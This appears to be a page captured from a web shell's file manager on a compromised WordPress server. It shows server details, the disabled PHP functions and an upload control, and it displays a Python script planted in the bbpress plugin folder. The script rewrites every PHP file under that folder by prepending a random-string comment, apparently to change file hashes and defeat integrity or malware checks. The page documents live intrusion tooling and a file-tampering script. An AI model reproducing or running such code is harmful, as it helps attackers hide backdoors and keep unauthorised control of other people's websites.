HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceybwg.com/wp-content/plugins/bbpress/buat.py
import os
import random
import string

# Folder sama dengan lokasi script
target_folder = os.path.dirname(os.path.abspath(__file__))

def random_text(length=15):
    chars = string.ascii_letters + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

for root, dirs, files in os.walk(target_folder):
    for filename in files:
        if filename.endswith(".php"):
            file_path = os.path.join(root, filename)

            try:
                with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
                    original_content = f.read()

                # Tambahkan random comment di awal file
                random_prefix = f"<?php /* {random_text(15)} */ ?>\n"
                modified_content = random_prefix + original_content

                with open(file_path, "w", encoding="utf-8") as f:
                    f.write(modified_content)

                print(f"[OK] {file_path}")

            except Exception as e:
                print(f"[ERROR] {file_path}: {e}")